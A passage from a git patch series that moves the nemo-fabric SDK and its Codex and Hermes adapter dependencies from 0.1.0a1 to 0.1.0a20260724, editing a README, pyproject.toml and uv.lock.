"==0.1.0a1" }, { name = "nemo-platform-plugin", editable = "packages/nemo_platform_plugin" }, { name = "nemo-platform-plugin", marker = "extra == 'all'", editable = "packages/nemo_platform_plugin" }, { name = "nemo-platform-plugin", marker = "extra == 'core-service'", editable = "packages/nemo_platform_plugin" }, From 090381cfab3f7bcccee46cc1f491815781bf34de Mon Sep 17 00:00:00 2001 From: Manjesh Mogallapalli Date: Fri, 24 Jul 2026 09:33:18 -0500 Subject: [PATCH 4/4] moving to patched 0.1.0a20260724 Signed-off-by: Manjesh Mogallapalli --- .../examples/nemo-agent-config/README.md | 4 +-- plugins/nemo-agents/pyproject.toml | 8 +++--- uv.lock | 26 +++++++++---------- 3 files changed, 19 insertions(+), 19 deletions(-) diff --git a/plugins/nemo-agents/examples/nemo-agent-config/README.md b/plugins/nemo-agents/examples/nemo-agent-config/README.md index 7bf3eeb14e..e5b5529db5 100644 --- a/plugins/nemo-agents/examples/nemo-agent-config/README.md +++ b/plugins/nemo-agents/examples/nemo-agent-config/README.md @@ -4,7 +4,7 @@ This Platform-owned config invokes Codex or Hermes through NeMo Fabric. Run the commands below from the repository root. Fabric dependencies are currently optional so the default workspace does not -force other Fabric consumers onto the `0.1.0a1` SDK API before they migrate. +force other Fabric consumers onto the `0.1.0a20260724` SDK API before they migrate. Install them explicitly before local Fabric smoke tests: ```bash @@ -33,7 +33,7 @@ install it with the Fabric adapter in a separate Python 3.12 environment: uvx uv@0.9.14 venv --python 3.12 .venv-hermes uvx uv@0.9.14 --no-config pip install \ --python .venv-hermes/bin/python \ - "nemo-fabric-adapters-hermes==0.1.0a1" \ + "nemo-fabric-adapters-hermes>=0.1.0a20260724,<0.2.0" \ "hermes-agent==0.19.0" export HERMES_ADAPTER_PYTHON="$PWD/.venv-hermes/bin/python" diff --git a/plugins/nemo-agents/pyproject.toml b/plugins/nemo-agents/pyproject.toml index 1b16565c79..e4ab5c05c9 100644 --- a/plugins/nemo-agents/pyproject.toml +++ b/plugins/nemo-agents/pyproject.toml @@ -61,12 +61,12 @@ nat_openclaw_agent_adapter = "nat_openclaw_agent_adapter.register" [project.optional-dependencies] fabric = [ # TODO(AIRCORE-932): Move Fabric into the default plugin dependencies once evaluator has migrated - # to the 0.1.0a1+ config-first SDK API and Fabric packaging is stable across Platform environments. + # to the 0.1.0a20260724+ config-first SDK API and Fabric packaging is stable across Platform environments. # TODO(AIRCORE-897): Move this to a stable Fabric version before release once available. # TODO(AIRCORE-897): Add the `relay` extra once nemo-evaluator-sdk's nemo-relay pin allows >=0.5. - "nemo-fabric[runtime]==0.1.0a1", - "nemo-fabric-adapters-codex==0.1.0a1", - "nemo-fabric-adapters-hermes==0.1.0a1; python_version < '3.14'", + "nemo-fabric[runtime]>=0.1.0a20260724,<0.2.0", + "nemo-fabric-adapters-codex>=0.1.0a20260724,<0.2.0", + "nemo-fabric-adapters-hermes>=0.1.0a20260724,<0.2.0; python_version < '3.14'", ] container = [ "jinja2>=3.1", diff --git a/uv.lock b/uv.lock index c9780f458a..303e9e6e64 100644 --- a/uv.lock +++ b/uv.lock @@ -3960,9 +3960,9 @@ requires-dist = [ { name = "nemo-agents-example-calculator", editable = "plugins/nemo-agents/examples/calculator-agent" }, { name = "nemo-agents-example-email-phishing", editable = "plugins/nemo-agents/examples/email-phishing-analyzer" }, { name = "nemo-deployments-plugin", editable = "plugins/nemo-deployments" }, - { name = "nemo-fabric", extras = ["runtime"], marker = "extra == 'fabric'", specifier = "==0.1.0a1" }, - { name = "nemo-fabric-adapters-codex", marker = "extra == 'fabric'", specifier = "==0.1.0a1" }, - { name = "nemo-fabric-adapters-hermes", marker = "python_full_version < '3.14' and extra == 'fabric'", specifier = "==0.1.0a1" }, + { name = "nemo-fabric", extras = ["runtime"], marker = "extra == 'fabric'", specifier = ">=0.1.0a20260724,<0.2.0" }, + { name = "nemo-fabric-adapters-codex", marker = "extra == 'fabric'", specifier = ">=0.1.0a20260724,<0.2.0" }, + { name = "nemo-fabric-adapters-hermes", marker = "python_full_version < '3.14' and extra == 'fabric'", specifier = ">=0.1.0a20260724,<0.2.0" }, { name = "nemo-platform", editable = "packages/nemo_platform" }, { name = "nemo-platform-plugin", editable = "packages/nemo_platform_plugin" }, { name = "nvidia-nat-config-optimizer", specifier = ">=1.8.0,<1.9" }, @@ -4386,12 +4386,12 @@ dev = [ [[package]] name = "nemo-fabric" -version = "0.1.0a1" +version = "0.1.0a20260724" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "nemo-fabric-runtime", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/0a/35/40d7b662e94150748ea05bf2728d4885237b89accaeb8e6090c9c00c74ae/nemo_fabric-0.1.0a1.tar.gz", hash = "sha256:20969a6fa74b2a5ec2d99e9c53c784b37c4c63f109da5593a37b2fb0c0bc79c3", size = 6268, upload-time = "2026-07-22T19:14:21.221Z" } +sdist = { url = "https://files.pythonhosted.org/packages/bf/02/6553d9b6612f2dd3464060e1afbaf849c124cd8c845530914b4cbcd462b1/nemo_fabric-0.1.0a20260724.tar.gz", hash = "sha256:7134673f3d7c63f2aaec59ce36b640e1700a63375bbdbe2809a137617d109f40", size = 6291, upload-time = "2026-07-24T09:11:45.053Z" } [package.optional-dependencies] runtime = [ @@ -4400,40 +4400,40 @@ runtime = [ [[package]] name = "nemo-fabric-adapters-codex" -version = "0.1.0a1" +version = "0.1.0a20260724" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "nemo-fabric-adapters-common", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "openai-codex", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "tomli-w", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/1b/00/72808b79cdc70d2abe80e4019ddb2a93020d6fc3bfd13be018f8f5762122/nemo_fabric_adapters_codex-0.1.0a1.tar.gz", hash = "sha256:b36ab92bb8c9cb77230954a046c95bf9363c661bcce820d0d6c61cba5b5742a5", size = 7557, upload-time = "2026-07-22T19:14:11.47Z" } +sdist = { url = "https://files.pythonhosted.org/packages/65/6b/f6949c2e9350e5eb15fd171f775e50ed0565cd8ff08bf68157855475ac5f/nemo_fabric_adapters_codex-0.1.0a20260724.tar.gz", hash = "sha256:246e43bf6222560d63167fa89c27e9e03a152ea47cfe156601cb4a6100b9b656", size = 7567, upload-time = "2026-07-24T09:11:35.44Z" } [[package]] name = "nemo-fabric-adapters-common" -version = "0.1.0a1" +version = "0.1.0a20260724" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/5f/d8/9311537d9ec1900e6018edf76030334f7a1deb469e3bc4c38da2d725c11e/nemo_fabric_adapters_common-0.1.0a1.tar.gz", hash = "sha256:74c3ba61169a1f721efe7500cc23e9b01d6d30d05d517764df6062052c4534f5", size = 5776, upload-time = "2026-07-22T19:14:18.918Z" } +sdist = { url = "https://files.pythonhosted.org/packages/6c/17/057fa7330912ec05e9950169fe3c5990f8fe58bce23dda8b1397e32d2df2/nemo_fabric_adapters_common-0.1.0a20260724.tar.gz", hash = "sha256:965fad6446b42e85271b93e66491b188fadeabefa0d899ddf589e3d99537b61d", size = 5800, upload-time = "2026-07-24T09:11:32.409Z" } [[package]] name = "nemo-fabric-adapters-hermes" -version = "0.1.0a1" +version = "0.1.0a20260724" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "nemo-fabric-adapters-common", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "pyyaml", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/b8/62/79cdd277c74fc374bae02c26bc5a9a10e7e1fea03114758213dbe032e53d/nemo_fabric_adapters_hermes-0.1.0a1.tar.gz", hash = "sha256:c630be6e01e24c357c0bdc19a5a5eb602fb615cb6720272324931349d65024e3", size = 6200, upload-time = "2026-07-22T19:14:15.651Z" } +sdist = { url = "https://files.pythonhosted.org/packages/8b/5b/a67590fe64bc71ceeab17fc35a1b01309016acf3fa7a5d5a4406b8be2bfc/nemo_fabric_adapters_hermes-0.1.0a20260724.tar.gz", hash = "sha256:1a4dbb3a985453435833cf3fee80f9a69f11786189a712d8c895ca33b8fb3976", size = 6215, upload-time = "2026-07-24T09:11:42.582Z" } [[package]] name = "nemo-fabric-runtime" -version = "0.1.0a1" +version = "0.1.0a20260724" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "pydantic", extra = ["email"], marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "typing-extensions", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/e7/26/41248ffb1ac89f5004ec09fc15216cd15aaa18620ac3e80c5ae704c3217a/nemo_fabric_runtime-0.1.0a1.tar.gz", hash = "sha256:f659d0202a8a156ce898a887c67578aa576198220f2186d397607f8ae7314466", size = 5272, upload-time = "2026-07-22T19:14:09.773Z" } +sdist = { url = "https://files.pythonhosted.org/packages/3c/fe/0256c408a5d6c5e8a1576c8d2672252d85f1537dac7aa08584cef11ef5d2/nemo_fabric_runtime-0.1.0a20260724.tar.gz", hash = "sha256:b9a5eb4de344d981863f76b2d8f586e6fbcbc3c69ed6cdc333167b78f64e6331", size = 5275, upload-time = "2026-07-24T09:11:23.379Z" } [[package]] name = "nemo-guardrails-plugin"